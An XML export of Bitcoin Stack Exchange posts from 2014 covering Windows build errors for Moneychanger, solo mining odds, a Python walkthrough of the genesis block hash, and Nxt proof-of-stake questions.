  <row Id="28293" PostTypeId="1" CreationDate="2014-07-03T23:48:33.397" Score="1" ViewCount="499" Body="&lt;p&gt;I want to use &lt;a href=&quot;http://opentransactions.org/wiki/index.php?title=Main_Page&quot; rel=&quot;nofollow&quot;&gt;Open Transactions&lt;/a&gt; libraries in my Windows build of my Qt Widgets application. Moneychanger is a test interface for OT built in Qt. As a step to understanding how the Qt code of Moneychanger and the c++ code of OT interact, &lt;strong&gt;I want to build Moneychanger on Windows 7 x64 with a binary distribution of OT .dll's.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I can't find documentation on including the OT library when I build Moneychanger.&lt;/strong&gt; The current documentation (which I'm happy to improve:) &lt;a href=&quot;https://github.com/Open-Transactions/Moneychanger#development-and-manual-build-instuctions&quot; rel=&quot;nofollow&quot;&gt;git/readme.md&lt;/a&gt; / &lt;a href=&quot;https://github.com/Open-Transactions/Moneychanger/blob/21c3e9baf7b64d8aa66837ee4792e1e071b1664c/doc/INSTALL-windows.txt&quot; rel=&quot;nofollow&quot;&gt;git/doc/INSTALL-win.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Starting Conditions&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows 7 Professional x64&lt;/li&gt;&#xA;&lt;li&gt;Qt 5.3.0&lt;/li&gt;&#xA;&lt;li&gt;Qt Creator 3.1.1&lt;/li&gt;&#xA;&lt;li&gt;Visual Studio Express 2012&lt;/li&gt;&#xA;&lt;li&gt;Visual Studio Express 2013&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=77301.msg859040#msg859040&quot; rel=&quot;nofollow&quot;&gt;Open-Transactions-0.92.c-Win32-setup.exe&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Clone &lt;a href=&quot;https://github.com/Open-Transactions/Moneychanger&quot; rel=&quot;nofollow&quot;&gt;moneychanger source from git&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Compilation errors on MSVC/MinGW Qt compilers&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open &lt;code&gt;project/moneychanger.pro&lt;/code&gt; in Qt creator&lt;/li&gt;&#xA;&lt;li&gt;Configure Qt Creator kits with various compilers and QT versions, including MinGW 4.8.2, MSVC 2012 OpenGL 32bit, MSVC 2013 32bit, MSVC 2013 OpenGL 64bit&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Debug&quot; configuration&lt;/li&gt;&#xA;&lt;li&gt;Click Run button&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Desktop Qt 5.3.0 MinGW 32bit (&lt;a href=&quot;http://group.cambrian.org/pastebin/?b29486fa6f1775b7#sQ20knAIblbRrtEbvr0mXR22F2qhhyesqfUBEEPcZ7Y=&quot; rel=&quot;nofollow&quot;&gt;Full Log&lt;/a&gt;)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;snip&amp;gt;&#xA;compiling ../../src/jsoncpp/jsoncpp.cpp&#xA;g++.exe: error: C:/Program Files (x86)/Git/bigobj: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;http://sourceforge.net/p/mingw/mailman/message/31588867/&quot; rel=&quot;nofollow&quot;&gt;MinGW support answer&lt;/a&gt; seems to say that I need MSVC compiler for jsoncpp to compile.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Desktop Qt 5.3.0 MSVC2013 OpenGL 64bit&lt;/h3&gt;&#xA;&#xA;&lt;h3&gt;Desktop Qt 5.3.0 MSVC2013 32bit&lt;/h3&gt;&#xA;&#xA;&lt;h3&gt;Desktop Qt 5.3.0 MSVC2012 OpenGL 32bit (&lt;a href=&quot;http://group.cambrian.org/pastebin/?71d6dc2bd5f3422f#utcUZv+Lw4yab3eAv8fe/ObHekK0/fAfMGl7FjAuchA=&quot; rel=&quot;nofollow&quot;&gt;Full log&lt;/a&gt;)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;snip&amp;gt;&#xA;compiling ..\..\src\jsoncpp\jsoncpp.cpp &#xA;...&#xA;&amp;amp;&amp;amp; was unexpected at this time.&#xA;...&#xA;13:53:19: The process &quot;C:\dev\qt\Tools\QtCreator\bin\jom.exe&quot; exited with code 2.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;MSVC 2013&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The next thing I tried was converting the Qt project into a Visual Studio &quot;solution.&quot; In preparation for this I installed the Windows Debugger Tools in the &lt;a href=&quot;http://msdn.microsoft.com/en-US/windows/hardware/gg454513&quot; rel=&quot;nofollow&quot;&gt;SDK for Windows 8.1&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file &lt;code&gt;doc/INSTALL-windows.txt&lt;/code&gt; offers the instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Open Visual Studio x86 2013 prompt.&#xA;change to the 'project' directory.&#xA;run: qmake -r -tp vc moneychanger.pro&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got the qmake command to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; &quot;C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\bin\cl.exe&quot;&#xA;&amp;gt; cd C:\dev\project\moneychanger\project&#xA;&amp;gt; qmake -r -tp vc moneychanger.pro&#xA;  'qmake' is not recognized as an internal or external command,&#xA;  operable program or batch file.&#xA;C:\dev\project\Moneychanger\project&amp;gt;&quot;C:\dev\qt\5.3\msvc2013\bin\qmake.exe&quot; -r -tp vc moneychanger.pro&#xA;Reading C:/dev/project/Moneychanger/project/curl/curl.pro&#xA;Reading C:/dev/project/Moneychanger/project/libidn/libidn.pro&#xA;Reading C:/dev/project/Moneychanger/project/jsoncpp/jsoncpp.pro&#xA;Reading C:/dev/project/Moneychanger/project/bitcoin-api/bitcoin-api.pro&#xA;Reading C:/dev/project/Moneychanger/project/nmcrpc/nmcrpc.pro&#xA;Reading C:/dev/project/Moneychanger/project/moneychanger-qt/moneychanger-qt.pro&#xA;C:\dev\project\Moneychanger\project&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I have a &lt;code&gt;project/moneychanger.sln&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;MSVC Build Errors&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here's what happens when I build &lt;code&gt;project/moneychanger.sln&lt;/code&gt; in Visual Studio 2013: (&lt;a href=&quot;http://group.cambrian.org/pastebin/?0c05e20bbef5751f#Ww2TFe/VjyuA14KVtLEtt1eBqHCHZGcqYi0n/CzYksU=&quot; rel=&quot;nofollow&quot;&gt;Full Log&lt;/a&gt;)  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error C1083: Cannot open include file: 'opentxs/stdafx.hpp': &#xA;No such file or directory &#xA;c:\dev\project\moneychanger\src\core\stable.hpp`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sure sounds like I need to point Moneychanger at my OT library. I don't know how to do that in either Qt Creator or MSVC. For now I have da2ce7's binary v0.92c with &lt;code&gt;otapi.dll&lt;/code&gt;, &lt;code&gt;otlib.dll&lt;/code&gt; and more. Eventually I want to build a windows OT library myself and use that. For now I'll settle for the binary package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me it's as simple as copying stuff around and rebuilding!&lt;/p&gt;&#xA;" OwnerUserId="234" LastEditorUserId="2306" LastEditDate="2015-01-17T19:11:53.943" LastActivityDate="2015-01-17T19:11:53.943" Title="Building Win7 Moneychanger: Where to put OT DLL's, How to fix &quot;&amp;&amp; was unexpected&quot; in jsoncpp?" Tags="|windows|open-transactions|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28295" PostTypeId="2" ParentId="28103" CreationDate="2014-07-04T00:46:44.583" Score="0" Body="&lt;p&gt;If you have an android phone, you can use the bitcoin wallet app which now has a feature to sweep a paper wallet using the camera. Then you can back up the private key generated by the app and (if you want), delete the app. The mycelium app might also have this functionality.&lt;/p&gt;&#xA;" OwnerUserId="8848" LastActivityDate="2014-07-04T00:46:44.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28296" PostTypeId="2" ParentId="28241" CreationDate="2014-07-04T09:39:55.367" Score="1" Body="&lt;p&gt;As explained by &lt;a href=&quot;http://www.investopedia.com/terms/p/profit.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.investopedia.com/terms/p/profit.asp&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;profit = total revenue - total expenses&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or in plain English:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;profit = (what you had received after selling all your coins) - (what you had paid to buy your coins)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had spent $1000 for Bitcoin priced at $500/BTC on exchange A, and say the fee is 1%, you will received&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$1000/$500*(1-0.01) = 1.98 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you move and sell your 1.98 BTC at for $600/BTC on exchange B, which also charges a 1% fee, you will receive&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1.98*$600*(1-0.01) = $1176.12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So your profit will be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$1176.12 - $1000 = $176.12&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to also subtract any withdrawal/deposit fees if applicable.&lt;/p&gt;&#xA;" OwnerUserId="18473" LastEditorUserId="18473" LastEditDate="2014-07-07T07:42:20.757" LastActivityDate="2014-07-07T07:42:20.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28299" PostTypeId="1" CreationDate="2014-07-04T14:31:22.633" Score="0" ViewCount="2358" Body="&lt;p&gt;I had an old Raspberry pi with a Bitmain Antminer 2GH USB plugged into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have joined the bitminter pool and so far have 0.00000094 bitcoins.  In other words, I don't expect to get rich.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Researching this question most answers take into account power consumption.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, for this sort of setup that I have with 1 - 4 2GH USB sticks, if I do solo mining, do I have much chance of getting a bitcoin now and then?&lt;/p&gt;&#xA;" OwnerUserId="18475" LastEditorUserId="5406" LastEditDate="2016-03-05T14:59:02.087" LastActivityDate="2016-03-05T14:59:02.087" Title="How best can I use Raspberry pi and ASIC?" Tags="|solo-mining|raspberry-pi|" AnswerCount="1" CommentCount="1" ClosedDate="2014-07-06T16:36:14.997" ContentLicense="CC BY-SA 3.0" />
  <row Id="28300" PostTypeId="1" CreationDate="2014-07-04T15:48:26.907" Score="0" ViewCount="75" Body="&lt;p&gt;Say Kraken and Bitstamp both issue colored coins for USD, called KrakenDollars and BitStampDollars. Then I find an colored coins exchange where I can trade between the two, and deposit some KrakenDollars. In the eyes of the IRS, these are still dollars I think. Then I start trading between KrakenDollars and BitStampDollars, and make a respectable profit. Then I put my KrakenDollars back into Kraken, and withdraw to my bank account. How on earth should that be taxed? I was just trading between dollars and dollars...&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2014-07-05T19:11:15.800" Title="How to tax trading in colored coins representing fiat?" Tags="|trading|taxes|colored-coins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28301" PostTypeId="2" ParentId="23146" CreationDate="2014-07-04T21:45:06.693" Score="0" Body="&lt;p&gt;Just reset blockchain in the multibit menu. If it doesn't help, you can export private key from the address the tx has been made from, import it on blockchain.info and doublespend it to your own address.&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2014-07-04T21:45:06.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28303" PostTypeId="2" ParentId="18454" CreationDate="2014-07-05T07:06:15.857" Score="1" Body="&lt;p&gt;Note that all hex numbers and hashes here and in the protocol are little endian. So the ones I show will look backwards from a lot of sites which show them in big endian format.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Merkle Root&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is a way to combine all the hashes of the transaction together into 1 hash. To do this we first need the hashes of all the transactions. There is only one transaction in the genesis block so let's find its hash. This is based off of &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import hashlib&#xA;&#xA;#version 1, uint32_t&#xA;version = &quot;01000000&quot;&#xA;&#xA;#1 input transaction, var_int&#xA;tx_in_count = &quot;01&quot;&#xA;&#xA;#the default for generation transactions since there is no transaction to use as output&#xA;OutPoint_hash = &quot;0000000000000000000000000000000000000000000000000000000000000000&quot; &#xA;&#xA;#also default for generation transactions, uint32_t&#xA;OutPoint_index = &quot;ffffffff&quot;&#xA;&#xA;previous_output = OutPoint_hash + OutPoint_index&#xA;&#xA;#77, var_int&#xA;script_length = &quot;4d&quot;&#xA;&#xA;#The coinbase. In a regular transaction this would be the scriptSig, but unused in generation transactions.&#xA;#Satoshi inserted the headline of The Times to prove that mining did not start before Jan 3, 2009.&#xA;#???????EThe Times 03/Jan/2009 Chancellor on brink of second bailout for banks&#xA;signature_script = &quot;04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73&quot;&#xA;&#xA;#final sequence, means it can't be replaced and is immediately locked, uint32_t&#xA;sequence = &quot;ffffffff&quot;&#xA;&#xA;tx_in = previous_output + script_length + signature_script + sequence&#xA;&#xA;#1 transaction output, var_int&#xA;tx_out_count = &quot;01&quot;&#xA;&#xA;#5000000000 satoshis == 50 bitcoin, uint64_t&#xA;value = &quot;00f2052a01000000&quot;&#xA;&#xA;#67 var_int&#xA;pk_script_length = &quot;43&quot;&#xA;&#xA;#The scriptPubKey saying where the coins are going.&#xA;pk_script = &quot;4104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac&quot;&#xA;#We can decode this.&#xA;#41 push the next 65 bytes onto the stack&#xA;#04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f the 65 bytes that get pushed onto the stack&#xA;#ac OP_CHECKSIG&#xA;#This is a pay-to-pubkey output, which is the default for generation transactions.&#xA;&#xA;tx_out = value + pk_script_length + pk_script&#xA;&#xA;#immediately locked, uint32_t&#xA;lock_time = &quot;00000000&quot;&#xA;&#xA;transaction = version + tx_in_count + tx_in + tx_out_count + tx_out + lock_time&#xA;&#xA;transaction_bin = transaction.decode(&quot;hex&quot;)&#xA;transaction_hash_bin = hashlib.sha256(hashlib.sha256(transaction_bin).digest()).digest()&#xA;transaction_hash = transaction_hash_bin.encode(&quot;hex&quot;)&#xA;print(transaction_hash)&#xA;3ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now that we have the transaction hash for the 1 transaction, we need to find the Merkle root. It turns out that the Merkle root of a single hash is... that single hash. So that is the Merkle root.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Time&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;29ab5f49, uint32_t. This is 1231006505 in decimal and is a unix timestamp meaning January 3, 2009 at 6:15:05pm UTC.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Bits&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;ffff001d == 486604799, uint32_t. This is a way to represent the difficulty. It's a sort of floating-point-ish type number. This is difficulty 1 and requires hashes to be below or equal to the target of 0000000000000000000000000000000000000000000000000000FFFF00000000.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Nonce&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;1dac2b7c == 2083236893, uint32_t&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Transaction section&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I covered most of this in the merkle root section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want someone else's explanation of each byte of the genesis block, &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;nofollow&quot;&gt;look here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12990" LastActivityDate="2014-07-05T07:06:15.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28304" PostTypeId="2" ParentId="21707" CreationDate="2014-07-05T08:34:02.910" Score="1" Body="&lt;p&gt;LocalBitcoins.com itself actually supports Neteller: &lt;a href=&quot;https://localbitcoins.com/buy-bitcoins-online/neteller/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/buy-bitcoins-online/neteller/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2014-07-05T08:34:02.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28305" PostTypeId="2" ParentId="5013" CreationDate="2014-07-05T08:42:08.047" Score="0" Body="&lt;p&gt;The only current option I could find so far is via LocalBitcoins.com (&lt;a href=&quot;https://localbitcoins.com/buy-bitcoins-online/neteller/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/buy-bitcoins-online/neteller/&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exchanges listed on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;official wiki page&lt;/a&gt; (&lt;a href=&quot;https://www.virwox.com/&quot; rel=&quot;nofollow&quot;&gt;VirWox&lt;/a&gt;, &lt;a href=&quot;http://mercabit.eu/&quot; rel=&quot;nofollow&quot;&gt;mercaBit.eu&lt;/a&gt; and &lt;a href=&quot;http://www.rugatu.com/&quot; rel=&quot;nofollow&quot;&gt;rugatu.com&lt;/a&gt;) that are noted to support Neteller are all down or ended their Neteller support.&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2014-07-05T08:42:08.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28307" PostTypeId="1" CreationDate="2014-07-05T11:40:34.563" Score="1" ViewCount="125" Body="&lt;p&gt;Whenever we use an online mining calculator, do these calculator estimate a 100% blocks finding? Shouldn't they be subject to the pool efficiency and how many blocks are found? I mean, if my pool only catches 50% of total blocks my mining earnings are cut in half. Is this right?&lt;/p&gt;&#xA;" OwnerUserId="18370" LastEditorUserId="5406" LastEditDate="2016-03-05T14:58:08.223" LastActivityDate="2016-03-05T14:58:08.223" Title="Mining calculators and blocks found" Tags="|mining-pools|mining-profitability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28308" PostTypeId="2" ParentId="28307" CreationDate="2014-07-05T15:14:42.883" Score="2" Body="&lt;p&gt;No, your earnings are related to how much hashing power &lt;em&gt;you&lt;/em&gt; contribute to the network, not your share of the pool's hashing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Said differently, if you were mining solo and providing an infinite amount of time, the earnings would be the same (minus the fees). Pools only exist to give you more frequent, smaller revenue.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-07-05T15:14:42.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28309" PostTypeId="2" ParentId="28299" CreationDate="2014-07-05T15:24:27.563" Score="1" Body="&lt;p&gt;Let's do the math. The average time to find a block, which is worth a reward of at least 25 BTCs (+fees) is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;avgtime = difficulty * 2^32 / hashrate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The current difficulty is 16,818,461,371. Assuming a hash rate of 2GH/s we get in hours:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;avgtime = 16818461371 * 2^32 / (2*10^9) / 60 / 60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's about 10032602 hours or 418025 days. To mine solo successfully, you need much, much more hashing power.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-07-05T15:24:27.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28310" PostTypeId="2" ParentId="28227" CreationDate="2014-07-05T15:28:20.360" Score="2" Body="&lt;p&gt;The sha256(sha256(header)) is commonly called the hash in the Bitcoin world. So the hash rate is the rate of sha256(sha256(header)) operations, not the rate of single sha256 operations. Otherwise it'd probably called a sharate or something similar :)&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-07-05T15:28:20.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28311" PostTypeId="2" ParentId="28212" CreationDate="2014-07-05T15:32:15.723" Score="0" Body="&lt;p&gt;If you're not necessarily too technical and depending on your goal, you may want to look for a service that can run your altcoin for you and provide higher level APIs with it. For example: &lt;a href=&quot;http://www.blockcypher.com&quot; rel=&quot;nofollow&quot;&gt;http://www.blockcypher.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-07-05T15:32:15.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28312" PostTypeId="2" ParentId="28284" CreationDate="2014-07-05T15:38:23.630" Score="2" Body="&lt;p&gt;As you indicated in your comment, the distribution does matter and you can't average over a long period. So you would have to know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The starting difficulty and which height it's provided for.&lt;/li&gt;&#xA;&lt;li&gt;The time for each subsequent block that falls on a height divisible by 2016&lt;/li&gt;&#xA;&lt;li&gt;The current height or target height at which you want to calculate the new difficulty.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also note that difficulty adjustments every 2016 blocks are capped, so the new difficulty can be 4x higher or lower than the previous.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-07-05T15:38:23.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28313" PostTypeId="2" ParentId="16679" CreationDate="2014-07-05T18:08:16.620" Score="0" Body="&lt;p&gt;Judging by the historic rates of BTC/USD and LTC/USD, they have been well correlated at a daily level, &lt;em&gt;until recently&lt;/em&gt;, when bitcoin has diverged from other major altcoins (as per &lt;a href=&quot;http://coincorrelation.com&quot; rel=&quot;nofollow&quot;&gt;CoinCorrelation.com&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="18489" LastActivityDate="2014-07-05T18:08:16.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28314" PostTypeId="1" AcceptedAnswerId="32620" CreationDate="2014-07-05T18:24:07.300" Score="4" ViewCount="204" Body="&lt;p&gt;Is there some way to programmatically extract the current consensus of the transaction fee from the bitcoin network, either by using the daemon or through some other means?&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-11-19T15:45:02.827" Title="Is there someway to determine the current network fee from the bitcoin network/daemon?" Tags="|bitcoind|transaction-fees|network|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28315" PostTypeId="2" ParentId="20474" CreationDate="2014-07-05T18:35:17.420" Score="2" Body="&lt;p&gt;The formula is directly from the &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;original paper by Satoshi Nakamoto.&lt;/a&gt; Check pages 6-8. The paper has C code to easily compute the values, and &lt;a href=&quot;https://people.xiph.org/~greg/attack_success.html&quot; rel=&quot;nofollow&quot;&gt;that page you linked to&lt;/a&gt; is just that C code converted to javascript.&lt;/p&gt;&#xA;" OwnerUserId="12990" LastActivityDate="2014-07-05T18:35:17.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28316" PostTypeId="2" ParentId="28300" CreationDate="2014-07-05T19:11:15.800" Score="1" Body="&lt;p&gt;You trade a bunch of stuff, you wind up with more dollars than you started with, you have a taxable profit.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-07-05T19:11:15.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28320" PostTypeId="2" ParentId="21541" CreationDate="2014-07-05T22:39:26.347" Score="1" Body="&lt;p&gt;have you set the testnet = 1 in the config file? You should first see if you are able to mine the genesis block on the testnet and then check on the real network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to set the nonce in multiple places and same with the merkle root.&lt;/p&gt;&#xA;" OwnerUserId="15645" LastActivityDate="2014-07-05T22:39:26.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28325" PostTypeId="1" AcceptedAnswerId="28331" CreationDate="2014-07-07T09:25:06.823" Score="3" ViewCount="1082" Body="&lt;p&gt;How do online Bitcoin wallet sites work? How can they have thousands of addresses laying around, or do they create them on the fly?  What sort of software is used to create all those Bitcoin addresses?  The reason I ask, is that I'm toying with an idea for a website that would require per-user Bitcoin addresses for payment.&lt;/p&gt;&#xA;" OwnerUserId="1807" LastEditorUserId="3364" LastEditDate="2014-07-07T14:06:59.250" LastActivityDate="2014-07-07T14:17:57.880" Title="How do wallet-sites generate large numbers of Bitcoin addresses?" Tags="|wallet|e-wallet|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28326" PostTypeId="2" ParentId="28291" CreationDate="2014-07-07T12:12:25.740" Score="1" Body="&lt;p&gt;Nxt aliases do not expire now, and probably never will (since it would be unfair to change the rules after people paid for them). There is an upcoming change to allow them to be transferred, so you may then be able to buy them from squatters.&lt;/p&gt;&#xA;" OwnerUserId="15355" LastActivityDate="2014-07-07T12:12:25.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28327" PostTypeId="2" ParentId="28250" CreationDate="2014-07-07T12:20:51.870" Score="1" Body="&lt;p&gt;Leasing gives the other account your forging power, without giving them the ability to spend your coins. The two main use cases are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To lease to a forging pool run by someone else. This avoids the need for you to run a server 24/7, and the pool should forge more often, smoothing out the peaks and troughs in forging income.&lt;/li&gt;&#xA;&lt;li&gt;To lease to a forging node run by yourself, but on a machine you don't trust; for example a cloud service. You keep your balance on a secure machine and lease it to the insecure one.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15355" LastActivityDate="2014-07-07T12:20:51.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28328" PostTypeId="2" ParentId="25743" CreationDate="2014-07-07T12:42:09.280" Score="7" Body="&lt;p&gt;Proof of stake has been used for many months in Nxt, and has not been broken despite having the third highest market capitalisation, so it does seem to be secure. If it wasn't, someone would have broken it by now. History shows forks rarely persist for more than a block, so it does achieve consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory, a weakness is that people can vote for both sides of a fork. In practice, that doesn't seem to happen. The gain from doing so would be trivial (there's no block reward in Nxt), and the loss of security substantial, so no-one does it. With Proof of Stake, the people who secure the block-chain the most are also the people who possess the most coins, so they have the most incentive to preserve the integrity of the currency. To put it another way, in Nxt forging is done to secure the block-chain, not to make a profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One disadvantage is that in pure Proof of Stake, the only way to acquire coins is from someone who already has them. This can lead to issues with the distribution. For example, in Nxt the entire coin supply was initially distributed to 73 &quot;founders&quot;, and some of those people still own significant fractions of the supply, giving them wealth and influence. That said, none now own as large a fraction as Satoshi owns of Bitcoin. It seems that the distribution problem solves itself over time, as the founders have an interest in spending their wealth to support the coin.&lt;/p&gt;&#xA;" OwnerUserId="15355" LastActivityDate="2014-07-07T12:42:09.280" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28329" PostTypeId="2" ParentId="23500" CreationDate="2014-07-07T13:01:27.977" Score="2" Body="&lt;p&gt;The first out-going transaction for an address claims the address. To make such a transaction, you need to know a private key for the address. The first transaction causes the corresponding public key to be stored against the address in the block-chain, and then subsequent transactions are only accepted if they have the same public (and hence private) key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addresses are 64-bit, which would probably take a few years to crack by brute force. The public and private keys are 256-bit.&lt;/p&gt;&#xA;" OwnerUserId="15355" LastActivityDate="2014-07-07T13:01:27.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
